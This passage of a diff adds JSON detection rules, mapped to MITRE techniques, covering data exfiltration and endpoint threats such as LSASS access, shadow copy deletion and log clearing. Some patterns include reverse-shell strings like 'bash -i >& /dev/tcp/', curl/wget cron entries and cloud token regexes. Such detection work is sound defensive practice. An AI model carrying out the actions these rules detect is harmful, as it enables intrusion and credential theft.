+ "action": "git.push",
+ "diff_text_pattern_match_any": [
+ "AKIA[0-9A-Z]{16}",
+ "ghp_[A-Za-z0-9]{36}",
+ "[A-Z0-9._%+-]+@[A-Z0-9.-]+ pii=true"
+ ]
+ },
+ "mitre": [
+ "T1552.001"
+ ],
+ "name": "Git Push Containing PII or Secret Pattern",
+ "product": "github",
+ "service": "audit",
+ "severity": "high",
+ "slug": "github-pii-pattern-push"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-011",
+ "match_when": {
+ "bytes_out_gt": 1000,
+ "dst_in_paste_list": true,
+ "method": "POST"
+ },
+ "mitre": [
+ "T1567"
+ ],
+ "name": "Outbound Paste to Public Pastebin / Gist",
+ "product": "proxy",
+ "service": "http",
+ "severity": "medium",
+ "slug": "outbound-paste-public"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-012",
+ "match_when": {
+ "attachment_encrypted": true,
+ "to_external": true
+ },
+ "mitre": [
+ "T1560.001",
+ "T1567"
+ ],
+ "name": "Encrypted Archive Attachment Sent Externally",
+ "product": "email",
+ "service": "messages",
+ "severity": "medium",
+ "slug": "encrypted-archive-attachment"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-013",
+ "match_when": {
+ "doc_classification": "confidential",
+ "event_id": 307,
+ "page_count_per_user_gt": 500,
+ "time_window_hours_lt": 1
+ },
+ "mitre": [
+ "T1052"
+ ],
+ "name": "Mass Print Job From Confidential Document Repository",
+ "product": "windows",
+ "service": "print",
+ "severity": "medium",
+ "slug": "printer-mass-print-confidential"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-014",
+ "match_when": {
+ "event_type": "FileCreate",
+ "file_path_endswith": ".zip",
+ "host_role": "fileserver",
+ "zip_size_bytes_gt": 500000000
+ },
+ "mitre": [
+ "T1560.001"
+ ],
+ "name": "Bulk Zip Creation on File Server",
+ "product": "edr",
+ "service": "file-create",
+ "severity": "medium",
+ "slug": "bulk-zip-on-fileserver"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-015",
+ "match_when": {
+ "operation_name": "Search-Mailbox -DeleteContent:$false -TargetMailbox"
+ },
+ "mitre": [
+ "T1114.002"
+ ],
+ "name": "Bulk Mailbox Export From M365 Compliance Center",
+ "product": "azure",
+ "service": "azuread-audit",
+ "severity": "high",
+ "slug": "bulk-msg-export-mail"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-016",
+ "match_when": {
+ "forward_destination_external": true,
+ "operation_name_in": [
+ "New-InboxRule",
+ "Set-InboxRule"
+ ]
+ },
+ "mitre": [
+ "T1114.003"
+ ],
+ "name": "Inbox Rule Forwarding to External Address",
+ "product": "azure",
+ "service": "exchange-online",
+ "severity": "high",
+ "slug": "exchange-mail-forward-external"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-017",
+ "match_when": {
+ "backup_dst_in_allowlist": false,
+ "event_type": "Backup.Export"
+ },
+ "mitre": [
+ "T1567"
+ ],
+ "name": "Backup Export to Non-Allowlisted Destination",
+ "product": "cloud",
+ "service": "backup",
+ "severity": "high",
+ "slug": "backup-export-anomalous"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-018",
+ "match_when": {
+ "dst_registry_in_allowlist": false,
+ "event_type": "image.push",
+ "image_count_per_principal_gt": 5,
+ "time_window_minutes_lt": 30
+ },
+ "mitre": [
+ "T1567"
+ ],
+ "name": "Container Image Mass Export to External Registry",
+ "product": "cloud",
+ "service": "registry",
+ "severity": "high",
+ "slug": "container-mass-image-export"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-019",
+ "match_when": {
+ "bytes_in_gt": 200000000,
+ "src_country_in_allowlist": false
+ },
+ "mitre": [
+ "T1041"
+ ],
+ "name": "VPN Tunnel Large Download from Foreign Country",
+ "product": "vpn",
+ "service": "session",
+ "severity": "medium",
+ "slug": "vpn-large-download-foreign"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-020",
+ "match_when": {
+ "event_type": "GetSecretValue",
+ "principal_type": "human",
+ "secret_count_per_principal_gt": 25,
+ "time_window_minutes_lt": 10
+ },
+ "mitre": [
+ "T1555",
+ "T1530"
+ ],
+ "name": "Secrets Manager Bulk Fetch by Human Principal",
+ "product": "cloud",
+ "service": "secrets",
+ "severity": "high",
+ "slug": "secrets-mass-fetch"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-001",
+ "match_when": {
+ "command_line_contains_any": [
+ "http",
+ "/i:",
+ "downloadfile",
+ "scrobj.dll",
+ "/transfer",
+ "wsh"
+ ],
+ "image_basename_in": [
+ "regsvr32.exe",
+ "rundll32.exe",
+ "mshta.exe",
+ "certutil.exe",
+ "bitsadmin.exe",
+ "installutil.exe",
+ "msbuild.exe",
+ "wmic.exe"
+ ]
+ },
+ "mitre": [
+ "T1218"
+ ],
+ "name": "LOLBAS Binary Used for Download or Execution",
+ "product": "edr",
+ "service": "process-create",
+ "severity": "high",
+ "slug": "lolbas-execution"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-002",
+ "match_when": {
+ "granted_access_mask_contains_any": [
+ "0x10",
+ "0x1010",
+ "0x1410",
+ "0x1438",
+ "0x143a",
+ "0x1fffff"
+ ],
+ "source_image_not_in_allowlist": true,
+ "target_image_endswith": "lsass.exe"
+ },
+ "mitre": [
+ "T1003.001"
+ ],
+ "name": "LSASS Memory Read by Untrusted Process",
+ "product": "edr",
+ "service": "object-access",
+ "severity": "critical",
+ "slug": "credential-dumping-lsass"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-003",
+ "match_when": {
+ "extension_change_pattern": "to-novel-extension",
+ "rename_count_per_process_gt": 200,
+ "time_window_minutes_lt": 5
+ },
+ "mitre": [
+ "T1486"
+ ],
+ "name": "Mass File Extension Rename Indicative of Ransomware",
+ "product": "edr",
+ "service": "file-rename",
+ "severity": "critical",
+ "slug": "ransomware-file-extension-change"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-004",
+ "match_when": {
+ "image_basename_in": [
+ "powershell.exe",
+ "cmd.exe",
+ "wscript.exe",
+ "cscript.exe",
+ "mshta.exe"
+ ],
+ "parent_image_basename_in": [
+ "winword.exe",
+ "excel.exe",
+ "powerpnt.exe",
+ "outlook.exe"
+ ]
+ },
+ "mitre": [
+ "T1059",
+ "T1204.002"
+ ],
+ "name": "Office Application Spawns Shell or Scripting Engine",
+ "product": "edr",
+ "service": "process-create",
+ "severity": "high",
+ "slug": "office-spawn-shell"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-005",
+ "match_when": {
+ "command_line_contains_all": [
+ "-enc",
+ "-exec"
+ ],
+ "command_line_contains_any": [
+ "bypass",
+ "unrestricted"
+ ],
+ "image_basename": "powershell.exe"
+ },
+ "mitre": [
+ "T1059.001",
+ "T1027"
+ ],
+ "name": "PowerShell with Encoded Command and Bypass Flag",
+ "product": "edr",
+ "service": "process-create",
+ "severity": "high",
+ "slug": "powershell-encoded-command"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-006",
+ "match_when": {
+ "image_basename_in_allowlist": false,
+ "parent_image_basename_in": [
+ "wmiprvse.exe"
+ ]
+ },
+ "mitre": [
+ "T1047"
+ ],
+ "name": "Process Created via WMI by Non-Admin Tool",
+ "product": "edr",
+ "service": "process-create",
+ "severity": "high",
+ "slug": "wmi-process-creation"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-007",
+ "match_when": {
+ "event_type": "ScheduledTaskCreate",
+ "task_command_path_startswith_any": [
+ "C:\\Users\\Public\\",
+ "C:\\ProgramData\\",
+ "C:\\Windows\\Temp\\"
+ ]
+ },
+ "mitre": [
+ "T1053.005"
+ ],
+ "name": "Scheduled Task Created Pointing to Suspicious Path",
+ "product": "edr",
+ "service": "scheduled-task",
+ "severity": "high",
+ "slug": "scheduled-task-create-suspicious"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-008",
+ "match_when": {
+ "event_type": "RegistryValueSet",
+ "registry_path_in": [
+ "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
+ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
+ "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce"
+ ]
+ },
+ "mitre": [
+ "T1547.001"
+ ],
+ "name": "Persistence via Registry Run Key Write",
+ "product": "edr",
+ "service": "registry",
+ "severity": "high",
+ "slug": "registry-runkey-write"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-009",
+ "match_when": {
+ "event_id": 7045,
+ "service_path_startswith_any": [
+ "C:\\Users\\",
+ "C:\\ProgramData\\",
+ "C:\\Windows\\Temp\\"
+ ]
+ },
+ "mitre": [
+ "T1543.003"
+ ],
+ "name": "New Service Installed with Suspicious Binary Path",
+ "product": "windows",
+ "service": "system",
+ "severity": "high",
+ "slug": "service-install-binary-suspicious"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-010",
+ "match_when": {
+ "event_type": "FileCreate",
+ "file_path_contains": "ADMIN$",
+ "file_path_endswith": ".exe"
+ },
+ "mitre": [
+ "T1021.002"
+ ],
+ "name": "Binary Written to ADMIN$ via SMB",
+ "product": "edr",
+ "service": "file-create",
+ "severity": "high",
+ "slug": "psexec-style-binary-write-admin-share"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-011",
+ "match_when": {
+ "event_type": "ServiceStop",
+ "service_name_in": [
+ "WinDefend",
+ "Sense",
+ "MsMpEng",
+ "CrowdStrike",
+ "SentinelOne",
+ "CarbonBlack"
+ ]
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "EDR / AV Service Stopped or Unloaded",
+ "product": "edr",
+ "service": "service",
+ "severity": "critical",
+ "slug": "edr-unload-attempt"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-012",
+ "match_when": {
+ "command_line_contains_any": [
+ "delete shadows",
+ "shadowcopy delete",
+ "delete catalog -quiet"
+ ],
+ "image_basename_in": [
+ "vssadmin.exe",
+ "wmic.exe",
+ "diskshadow.exe",
+ "wbadmin.exe"
+ ]
+ },
+ "mitre": [
+ "T1490"
+ ],
+ "name": "Volume Shadow Copies Deleted",
+ "product": "edr",
+ "service": "process-create",
+ "severity": "critical",
+ "slug": "shadow-copy-deletion"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-013",
+ "match_when": {
+ "event_id_in": [
+ 1102,
+ 104
+ ]
+ },
+ "mitre": [
+ "T1070.001"
+ ],
+ "name": "Windows Event Log Cleared",
+ "product": "windows",
+ "service": "security",
+ "severity": "critical",
+ "slug": "windows-event-log-cleared"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-014",
+ "match_when": {
+ "command_line_contains_all": [
+ "advfirewall",
+ "set",
+ "off"
+ ],
+ "image_basename": "netsh.exe"
+ },
+ "mitre": [
+ "T1562.004"
+ ],
+ "name": "Host Firewall Disabled",
+ "product": "edr",
+ "service": "process-create",
+ "severity": "high",
+ "slug": "firewall-disabled-host"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-015",
+ "match_when": {
+ "event_type": "CreateRemoteThread",
+ "source_image_basename_not_in_allowlist": true,
+ "target_image_basename_in": [
+ "explorer.exe",
+ "svchost.exe",
+ "lsass.exe",
+ "winlogon.exe"
+ ]
+ },
+ "mitre": [
+ "T1055"
+ ],
+ "name": "Cross-Process Remote Thread Injection",
+ "product": "edr",
+ "service": "thread",
+ "severity": "high",
+ "slug": "process-injection-cross-process-thread"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-016",
+ "match_when": {
+ "command_line_contains_any": [
+ "AmsiUtils",
+ "AmsiInitFailed",
+ "amsi.dll"
+ ],
+ "image_basename": "powershell.exe"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "AMSI Bypass via DLL or Reflective Patch",
+ "product": "edr",
+ "service": "process-create",
+ "severity": "high",
+ "slug": "amsi-bypass"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-017",
+ "match_when": {
+ "any_of": [
+ {
+ "command_line_contains": "stop",
+ "image_basename": "logman.exe"
+ },
+ {
+ "command_line_contains_any": [
+ "sl",
+ "/e:false",
+ "cl"
+ ],
+ "image_basename": "wevtutil.exe"
+ }
+ ]
+ },
+ "mitre": [
+ "T1562.006"
+ ],
+ "name": "ETW Tampering / Logging Disable",
+ "product": "edr",
+ "service": "process-create",
+ "severity": "high",
+ "slug": "etw-tampering"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-018",
+ "match_when": {
+ "event_type": "FileWrite",
+ "file_path_endswith": "\\drivers\\etc\\hosts"
+ },
+ "mitre": [
+ "T1565.001"
+ ],
+ "name": "Hosts File Modified",
+ "product": "edr",
+ "service": "file-write",
+ "severity": "medium",
+ "slug": "host-files-modified"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-019",
+ "match_when": {
+ "event_type": "ImageLoad",
+ "image_basename_loaded_endswith": ".dll",
+ "signature_status_in": [
+ "Invalid",
+ "Expired",
+ "Untrusted"
+ ]
+ },
+ "mitre": [
+ "T1574.002"
+ ],
+ "name": "DLL Loaded with Invalid or Untrusted Signature",
+ "product": "edr",
+ "service": "image-load",
+ "severity": "medium",
+ "slug": "image-load-suspicious-signing"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-020",
+ "match_when": {
+ "event_type": "ImageLoad",
+ "image_loaded_path_startswith": "\\\\"
+ },
+ "mitre": [
+ "T1574.002"
+ ],
+ "name": "DLL Loaded From Network Share",
+ "product": "edr",
+ "service": "image-load",
+ "severity": "high",
+ "slug": "remote-image-load-from-share"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-021",
+ "match_when": {
+ "event_type": "PATH",
+ "permissions_has_any": [
+ "S_ISUID",
+ "S_ISGID"
+ ]
+ },
+ "mitre": [
+ "T1548.001"
+ ],
+ "name": "SUID/SGID Binary Created",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "suid-binary-creation"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-022",
+ "match_when": {
+ "event_type": "MODULE",
+ "module_path_not_startswith": "/lib/modules/"
+ },
+ "mitre": [
+ "T1547.006"
+ ],
+ "name": "Kernel Module Loaded from Non-Standard Path",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "kernel-module-load-suspicious"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-023",
+ "match_when": {
+ "command_text_contains_any": [
+ "/tmp/",
+ "/dev/shm/",
+ "curl",
+ "wget"
+ ],
+ "event_type": "PATH",
+ "file_path_startswith_any": [
+ "/etc/cron",
+ "/var/spool/cron"
+ ]
+ },
+ "mitre": [
+ "T1053.003"
+ ],
+ "name": "Cron Job Created Pointing to /tmp or /dev/shm",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "cronjob-suspicious-path"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-024",
+ "match_when": {
+ "image_basename_in": [
+ "bash",
+ "sh",
+ "zsh",
+ "ksh",
+ "dash"
+ ],
+ "parent_image_basename_in": [
+ "nginx",
+ "apache2",
+ "httpd",
+ "php-fpm",
+ "node",
+ "java"
+ ]
+ },
+ "mitre": [
+ "T1059.004",
+ "T1505.003"
+ ],
+ "name": "Shell Spawned by Web Server Process",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "critical",
+ "slug": "shell-from-web-server"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-025",
+ "match_when": {
+ "command_line_contains_any": [
+ "bash -i >& /dev/tcp/",
+ "0<&196;exec 196<>/dev/tcp/",
+ "bash -c \"bash -i\""
+ ],
+ "image_basename": "bash"
+ },
+ "mitre": [
+ "T1059.004"
+ ],
+ "name": "Reverse Shell Pattern from /bin/bash",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "critical",
+ "slug": "reverse-shell-bash"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-026",
+ "match_when": {
+ "command_line_contains_any": [
+ "/bin/bash",
+ "/bin/sh"
+ ],
+ "event_type": "USER_ADD"
+ },
+ "mitre": [
+ "T1136.001"
+ ],
+ "name": "Unix User Added with Login Shell",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "user-add-suspicious"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-027",
+ "match_when": {
+ "event_type_in": [
+ "PATH",
+ "FILE_WRITE"
+ ],
+ "file_path_endswith": "/.ssh/authorized_keys"
+ },
+ "mitre": [
+ "T1098.004"
+ ],
+ "name": "SSH authorized_keys File Modified",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "ssh-key-added-authorized"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-028",
+ "match_when": {
+ "command_line_contains_any": [
+ "--privileged",
+ "-v /:/host"
+ ],
+ "image_basename_in": [
+ "docker",
+ "podman"
+ ]
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Container Launched with --privileged Flag",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "container-privileged-launch"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-029",
+ "match_when": {
+ "object_resource": "pods",
+ "verb": "create",
+ "volume_path": "/"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Container Mounts Host Filesystem at /host",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "container-mount-host-fs"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-030",
+ "match_when": {
+ "namespace": "production",
+ "object_resource": "pods",
+ "subresource": "exec",
+ "user_role_not_in": [
+ "operator",
+ "admin"
+ ],
+ "verb": "create"
+ },
+ "mitre": [
+ "T1609"
+ ],
+ "name": "kubectl exec Into Production Namespace by Non-Operator",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "kube-exec-into-prod-pod"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-031",
+ "match_when": {
+ "event_type": "ES_EVENT_TYPE_NOTIFY_CREATE",
+ "file_path_startswith_any": [
+ "/Library/LaunchAgents/",
+ "/Library/LaunchDaemons/",
+ "/Users/Shared/"
+ ]
+ },
+ "mitre": [
+ "T1543.001",
+ "T1543.004"
+ ],
+ "name": "macOS LaunchAgent or LaunchDaemon Plist Created",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-launchagent-write"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-032",
+ "match_when": {
+ "command_line_contains_any": [
+ "TCC.db",
+ "kTCCService"
+ ],
+ "image_basename": "sqlite3"
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "macOS TCC Bypass Pattern (Direct DB Write)",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-tcc-bypass-attempt"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-033",
+ "match_when": {
+ "command_line_contains_any": [
+ "do shell script",
+ "with administrator privileges",
+ "tell application \"System Events\""
+ ],
+ "image_basename": "osascript"
+ },
+ "mitre": [
+ "T1059.002"
+ ],
+ "name": "Suspicious AppleScript Execution via osascript",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-osascript-spawn"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-034",
+ "match_when": {
+ "command_line_contains_all": [
+ "--master-disable"
+ ],
+ "image_basename": "spctl"
+ },
+ "mitre": [
+ "T1553.001"
+ ],
+ "name": "macOS Gatekeeper Disabled",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-gatekeeper-disabled"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-035",
+ "match_when": {
+ "command_line_contains_any": [
+ "-d com.apple.quarantine",
+ "-c"
+ ],
+ "image_basename": "xattr"
+ },
+ "mitre": [
+ "T1553.001"
+ ],
+ "name": "macOS Quarantine Attribute Stripped",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-codesign-bypass"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-036",
+ "match_when": {
+ "command_line_contains": "--load-extension",
+ "image_basename_in": [
+ "chrome.exe",
+ "msedge.exe",
+ "firefox.exe"
+ ]
+ },
+ "mitre": [
+ "T1176"
+ ],
+ "name": "Browser Extension Installed Outside Allowlist",
+ "product": "edr",
+ "service": "process-create",
+ "severity": "medium",
+ "slug": "browser-extension-installed-suspicious"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-037",
+ "match_when": {
+ "device_class": "USB-MassStorage",
+ "event_type": "DeviceConnect",
+ "host_role": "restricted"
+ },
+ "mitre": [
+ "T1052.001"
+ ],
+ "name": "USB Mass-Storage Device Attached to Restricted Host",
+ "product": "edr",
+ "service": "device",
+ "severity": "high",
+ "slug": "usb-device-mass-storage-attached"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-038",
+ "match_when": {
+ "image_basename_in": [
+ "AnyDesk.exe",
+ "TeamViewer.exe",
+ "ScreenConnect.ClientService.exe",
+ "atera_agent.exe",
+ "splashtop.exe"
+ ],
+ "image_basename_in_allowlist": false
+ },
+ "mitre": [
+ "T1219"
+ ],
+ "name": "Remote Management Tool Installed Outside Allowlist",
+ "product": "edr",
+ "service": "process-create",
+ "severity": "high",
+ "slug": "rmm-tool-install"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-039",
+ "match_when": {
+ "driver_hash_in_byovd_list": true,
+ "event_type": "DriverLoad"
+ },
+ "mitre": [
+ "T1068"
+ ],
+ "name": "Driver Signed by Microsoft Loaded with Vulnerable Hash (BYOVD)",
+ "product": "edr",
+ "service": "image-load",
+ "severity": "critical",
+ "slug": "drivers-loaded-suspicious"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-040",
+ "match_when": {
+ "host_role": "sensitive",
+ "image_basename_in": [
+ "snippingtool.exe",
+ "screenclippinghost.exe",
+ "obs64.exe",
+ "obs.exe"
+ ]
+ },
+ "mitre": [
+ "T1113"
+ ],
+ "name": "Screen-Capture Tool Use on Sensitive Workstation",
+ "product": "edr",
+ "service": "process-create",
+ "severity": "medium",
+ "slug": "screen-capture-tool"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-041",
+ "match_when": {
+ "event_id": 7045,
+ "service_image_path_contains_any": [
+ "\\users\\public\\",
+ "\\appdata\\local\\temp\\",
+ "\\programdata\\"
+ ]
+ },
+ "mitre": [
+ "T1543.003"
+ ],
+ "name": "Windows Service Created With Suspicious BinaryPath",
+ "product": "windows",
+ "service": "services",
+ "severity": "high",
+ "slug": "win-service-create-suspicious-binpath"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-042",
+ "match_when": {
+ "event_id": 4697,
+ "service_image_path_changed": true
+ },
+ "mitre": [
+ "T1543.003",
+ "T1574"
+ ],
+ "name": "Windows Service Image Path Modified",
+ "product": "windows",
+ "service": "services",
+ "severity": "high",
+ "slug": "win-service-modify-image-path"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-043",
+ "match_when": {
+ "image_loaded_path_contains_any": [
+ "\\users\\",
+ "\\temp\\",
+ "\\appdata\\"
+ ],
+ "process_name": "svchost.exe"
+ },
+ "mitre": [
+ "T1574.002"
+ ],
+ "name": "Windows svchost.exe Loaded DLL From User Path",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-service-svchost-loaded-suspicious-dll"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-044",
+ "match_when": {
+ "creator_process_endswith_any": [
+ "winword.exe",
+ "excel.exe",
+ "outlook.exe",
+ "chrome.exe",
+ "msedge.exe"
+ ],
+ "event_id": 4698
+ },
+ "mitre": [
+ "T1053.005"
+ ],
+ "name": "Scheduled Task Created From Office or Browser",
+ "product": "windows",
+ "service": "task-scheduler",
+ "severity": "high",
+ "slug": "win-task-create-from-untrusted-process"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-045",
+ "match_when": {
+ "event_id": 4698,
+ "task_command_contains": "-encodedcommand"
+ },
+ "mitre": [
+ "T1053.005",
+ "T1027"
+ ],
+ "name": "Scheduled Task Runs Encoded PowerShell",
+ "product": "windows",
+ "service": "task-scheduler",
+ "severity": "high",
+ "slug": "win-task-runs-encoded-powershell"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-046",
+ "match_when": {
+ "event_id": 13,
+ "target_object_contains": "\\currentversion\\run",
+ "value_data_contains_any": [
+ "\\temp\\",
+ "\\appdata\\local\\temp\\"
+ ]
+ },
+ "mitre": [
+ "T1547.001"
+ ],
+ "name": "Registry Run Key Points To Temp Path",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-runkey-write-binary-temp"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-047",
+ "match_when": {
+ "event_id": 13,
+ "target_object_contains": "\\runonceex"
+ },
+ "mitre": [
+ "T1547.001"
+ ],
+ "name": "Registry RunOnceEx Key Modified",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-runonceex-write"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-048",
+ "match_when": {
+ "event_id": 13,
+ "target_object_contains": "image file execution options",
+ "value_name": "Debugger"
+ },
+ "mitre": [
+ "T1546.012"
+ ],
+ "name": "Image File Execution Options Debugger Set",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-image-file-execution-options-debugger"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-049",
+ "match_when": {
+ "event_id": 13,
+ "target_object_endswith": "\\appinit_dlls"
+ },
+ "mitre": [
+ "T1546.010"
+ ],
+ "name": "AppInit_DLLs Registry Value Modified",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-appinit-dll-write"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-050",
+ "match_when": {
+ "event_id": 13,
+ "target_object_endswith_any": [
+ "\\userinit",
+ "\\shell"
+ ]
+ },
+ "mitre": [
+ "T1547.004"
+ ],
+ "name": "Winlogon Userinit Registry Value Modified",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-winlogon-userinit-modified"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-051",
+ "match_when": {
+ "event_id": 13,
+ "target_object_endswith": "\\scrnsave.exe"
+ },
+ "mitre": [
+ "T1546.002"
+ ],
+ "name": "ScreenSaver Registry Path Set To Custom Binary",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-screensaver-registry-binary"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-052",
+ "match_when": {
+ "event_id": 13,
+ "target_object_endswith": "\\session manager\\bootexecute"
+ },
+ "mitre": [
+ "T1547"
+ ],
+ "name": "HKLM BootExecute Registry Value Modified",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-bootexecute-modified"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-053",
+ "match_when": {
+ "creator_process_not_endswith_any": [
+ "msiexec.exe",
+ "setup.exe"
+ ],
+ "event_id": 11,
+ "target_filename_contains": "\\start menu\\programs\\startup\\"
+ },
+ "mitre": [
+ "T1547.001"
+ ],
+ "name": "Startup Folder Written By Non-Installer Process",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-startup-folder-write"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-054",
+ "match_when": {
+ "event_id": 13,
+ "target_object_endswith": "\\environment\\userinitmprlogonscript"
+ },
+ "mitre": [
+ "T1037.001"
+ ],
+ "name": "Logon Script Registry Modified",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-logon-script-registry"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-055",
+ "match_when": {
+ "event_id": 13,
+ "target_object_contains": "\\classes\\clsid\\",
+ "target_object_endswith": "\\inprocserver32\\(default)"
+ },
+ "mitre": [
+ "T1546.015"
+ ],
+ "name": "COM Hijack Via HKCR\\CLSID\\InprocServer32 Modification",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-com-hijack-classes-root"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-056",
+ "match_when": {
+ "event_id": 19
+ },
+ "mitre": [
+ "T1546.003"
+ ],
+ "name": "Permanent WMI EventFilter Created",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-wmi-eventfilter-create"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-057",
+ "match_when": {
+ "event_id": 20
+ },
+ "mitre": [
+ "T1546.003"
+ ],
+ "name": "Permanent WMI EventConsumer Created",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-wmi-eventconsumer-create"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-058",
+ "match_when": {
+ "event_id": 21
+ },
+ "mitre": [
+ "T1546.003"
+ ],
+ "name": "WMI Filter-To-Consumer Binding Created",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-wmi-binding-create"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-059",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ ".sdb",
